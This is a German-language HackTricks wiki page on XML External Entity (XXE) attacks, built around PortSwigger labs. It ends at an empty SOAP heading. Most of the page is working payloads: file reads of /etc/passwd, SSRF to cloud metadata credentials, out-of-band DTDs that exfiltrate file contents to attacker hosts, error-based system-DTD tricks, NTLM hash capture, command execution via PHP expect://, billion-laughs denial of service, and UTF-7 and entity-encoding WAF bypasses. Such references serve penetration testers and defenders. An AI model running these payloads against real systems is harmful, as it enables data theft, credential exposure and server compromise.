# XXE - XEE - XML External Entity

{{#include ../banners/hacktricks-training.md}}

## XML Grundlagen

XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport von Daten entwickelt wurde und eine flexible Struktur aufweist, die die Verwendung von beschreibend benannten Tags ermöglicht. Es unterscheidet sich von HTML, da es nicht auf eine festgelegte Menge vordefinierter Tags beschränkt ist. Die Bedeutung von XML hat mit dem Aufstieg von JSON abgenommen, trotz seiner anfänglichen Rolle in der AJAX-Technologie.

- **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich spezieller Zeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
- **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten dürfen, von beliebigem Inhalt bis hin zu spezifischen Kind-Elementen.
- **Dokumenttypdefinition (DTD)**: DTDs sind entscheidend in XML, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
- **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD für eine flexible Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Kontext von XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen behandeln: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`

## Hauptangriffe

[**Die meisten dieser Angriffe wurden mit den großartigen Portswigger XEE-Labs getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)

### Neuer Entitätstest

In diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration funktioniert.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
![](<../images/image (870).png>)

### Datei lesen

Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, zu lesen: `C:\windows\system32\drivers\etc\hosts`

In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktioniert.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../images/image (86).png>)

Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei Portswiggers Labs)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
In diesem dritten Fall beachten Sie, dass wir das `Element stockCheck` als ANY deklarieren.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
![](<../images/image (753).png>)

### Verzeichnisauflistung

In **Java**-basierten Anwendungen kann es möglich sein, **den Inhalt eines Verzeichnisses aufzulisten** über XXE mit einem Payload wie (nur nach dem Verzeichnis anstelle der Datei fragen):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
### SSRF

Ein XXE könnte verwendet werden, um eine SSRF in einer Cloud auszunutzen.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### Blind SSRF

Mit der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen Server zuzugreifen, den Sie kontrollieren, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Exfiltriere Daten außerhalb des Bandes

**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könnten Sie versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem Sie beispielsweise diesen einfachen Server verwenden [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**

In der gegebenen bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:

### Beispiel für eine bösartige DTD:

Die Struktur ist wie folgt:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Die von diesem DTD ausgeführten Schritte umfassen:

1. **Definition von Parameterentitäten:**
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
2. **Ausführung von Entitäten:**
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
- Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.

Der Angreifer hostet dieses bösartige DTD auf einem Server unter seiner Kontrolle, typischerweise unter einer URL wie `http://web-attacker.com/malicious.dtd`.

**XXE-Payload:** Um eine verwundbare Anwendung auszunutzen, sendet der Angreifer eine XXE-Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in die DTD. Wenn sie von einem XML-Parser verarbeitet wird, ruft dieses Payload die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD skizzierten Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.

### Fehlerbasiert (Externe DTD)

**In diesem Fall werden wir den Server dazu bringen, eine bösartige DTD zu laden, die den Inhalt einer Datei in einer Fehlermeldung anzeigt (dies ist nur gültig, wenn Sie Fehlermeldungen sehen können).** [**Beispiel von hier.**](https://portswigger.net/web-security/xxe/blind)

Eine XML-Parsing-Fehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:

1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
4. Der Aufruf der `error`-Entität führt zu dem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.

Die bösartige externe DTD kann mit dem folgenden XML aufgerufen werden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bei der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalten, die den Inhalt der Datei `/etc/passwd` anzeigt.

![](<../images/image (809).png>)

_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb der zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_

### **Fehlerbasiert (System DTD)**

Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)?

Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu erzeugen, um sensible Informationen offenzulegen.

Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler hervorrufen, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
```
Die skizzierten Schritte werden durch diese DTD ausgeführt:

- Die Definition einer XML-Parameterentität namens `local_dtd` umfasst die externe DTD-Datei, die sich im Dateisystem des Servers befindet.
- Eine Neudefinition erfolgt für die XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu kapseln. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler auszulösen, der den Inhalt der Datei `/etc/passwd` offenbart.
- Durch die Verwendung der `local_dtd`-Entität wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.

**Echtweltbeispiel:** Systeme, die die GNOME-Desktopumgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../images/image (625).png>)

Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / die gleiche Software** installieren, die der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eine von ihnen existiert:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)

### DTDs im System finden

In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs finden, die im System vorhanden sein können**:

{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}

Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **DTDs** im System zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE über Office Open XML Parser

Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify** an.

Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Eine Webanwendung kann beispielsweise Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.

Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.

Sobald das Dokument entpackt ist, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt.

Die modifizierten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.

Schließlich kann die Datei gepackt werden, um die bösartige poc.docx-Datei zu erstellen. Aus dem zuvor erstellten "unzipped"-Verzeichnis sollte der folgende Befehl ausgeführt werden:

Jetzt kann die erstellte Datei in die potenziell anfällige Webanwendung hochgeladen werden, und man kann hoffen, dass eine Anfrage in den Burp Collaborator-Protokollen erscheint.

### Jar: Protokoll

Das **jar**-Protokoll ist ausschließlich innerhalb von **Java-Anwendungen** zugänglich. Es ist so konzipiert, dass es den Dateizugriff innerhalb eines **PKZIP**-Archivs (z. B. `.zip`, `.jar` usw.) ermöglicht, sowohl für lokale als auch für entfernte Dateien.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> Um auf Dateien innerhalb von PKZIP-Dateien zugreifen zu können, ist es **super nützlich, XXE über System-DTD-Dateien auszunutzen.** Überprüfen Sie [diesen Abschnitt, um zu lernen, wie man System-DTD-Dateien ausnutzt](xxe-xee-xml-external-entity.md#error-based-system-dtd).

Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das jar-Protokoll zuzugreifen, umfasst mehrere Schritte:

1. Eine HTTP-Anfrage wird gestellt, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, typischerweise an einem Ort wie `/tmp/...`.
3. Das Archiv wird dann extrahiert, um auf seinen Inhalt zuzugreifen.
4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen.
5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.

Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können dafür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!CAUTION]
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.).

### XSS
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
### DoS

#### Billion Laugh Attack
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
#### Yaml-Angriff
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Quadratic Blowup Attack

![](<../images/image (527).png>)

#### NTML erhalten

Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen responder.py-Handler einrichtet:
```bash
Responder.py -I eth0 -v
```
und indem Sie die folgende Anfrage senden
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Dann können Sie versuchen, den Hash mit hashcat zu knacken.

## Versteckte XXE-Oberflächen

### XInclude

Bei der Integration von Client-Daten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen vorkommen, ist die direkte Kontrolle über die XML-Struktur oft eingeschränkt, was traditionelle XXE-Angriffe aufgrund von Einschränkungen bei der Modifizierung des `DOCTYPE`-Elements erschwert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem er die Einfügung externer Entitäten innerhalb eines beliebigen Datenelements des XML-Dokuments ermöglicht. Diese Methode ist effektiv, selbst wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.

Um einen `XInclude`-Angriff auszuführen, muss der `XInclude`-Namensraum deklariert und der Dateipfad für die beabsichtigte externe Entität angegeben werden. Unten ist ein prägnantes Beispiel, wie ein solcher Angriff formuliert werden kann:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!

### SVG - Datei-Upload

Von Benutzern hochgeladene Dateien in bestimmten Anwendungen, die dann auf dem Server verarbeitet werden, können Schwachstellen in der Handhabung von XML oder XML-haltigen Dateiformaten ausnutzen. Häufige Dateiformate wie Office-Dokumente (DOCX) und Bilder (SVG) basieren auf XML.

Wenn Benutzer **Bilder hochladen**, werden diese Bilder serverseitig verarbeitet oder validiert. Selbst für Anwendungen, die Formate wie PNG oder JPEG erwarten, **kann die Bildverarbeitungsbibliothek des Servers auch SVG-Bilder unterstützen**. SVG, als XML-basiertes Format, kann von Angreifern ausgenutzt werden, um bösartige SVG-Bilder einzureichen, wodurch der Server XXE (XML External Entity) -Schwachstellen ausgesetzt wird.

Ein Beispiel für einen solchen Exploit ist unten dargestellt, wo ein bösartiges SVG-Bild versucht, Systemdateien zu lesen:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Software des Servers ausnutzen, was die Notwendigkeit robuster Eingangsvalidierung und Sicherheitsmaßnahmen hervorhebt.

Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!

**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INDEM erstellten Bild erscheint. Sie müssen also auf das Bild zugreifen können, das SVG erstellt hat.**

### **PDF - Datei-Upload**

Lesen Sie den folgenden Beitrag, um **zu lernen, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:


{{#ref}}
file-upload/pdf-upload-xxe-and-cors-bypass.md
{{#endref}}

### Content-Type: Von x-www-urlencoded zu XML

Wenn eine POST-Anfrage die Daten im XML-Format akzeptiert, könnten Sie versuchen, eine XXE in dieser Anfrage auszunutzen. Zum Beispiel, wenn eine normale Anfrage Folgendes enthält:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```
Dann könnten Sie die folgende Anfrage mit demselben Ergebnis einreichen:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type: Von JSON zu XEE

Um die Anfrage zu ändern, könntest du eine Burp-Erweiterung namens „**Content Type Converter**“ verwenden. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) findest du dieses Beispiel:
```xml
Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```

```xml
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
Ein weiteres Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).

## WAF & Schutzumgehungen

### Base64
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
Das funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.

### UTF-7

Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) in UTF-7 umwandeln.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```

```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protokollumgehung

Wenn das Web PHP verwendet, können Sie anstelle von `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` verwenden, um **auf interne Dateien** zuzugreifen.

Wenn das Web Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-external-entity.md#jar-protocol) überprüfen.

### HTML Entities

Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
Beachten Sie, dass die verwendeten **HTML Entities** **numerisch** sein müssen (wie \[in diesem Beispiel]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```
DTD-Beispiel:
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP Wrappers

### Base64

**Extrahieren** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Externe Ressource extrahieren**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Remote Code-Ausführung

**Wenn das PHP "expect" Modul geladen ist**
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
## **SOAP - XEE**
```xml
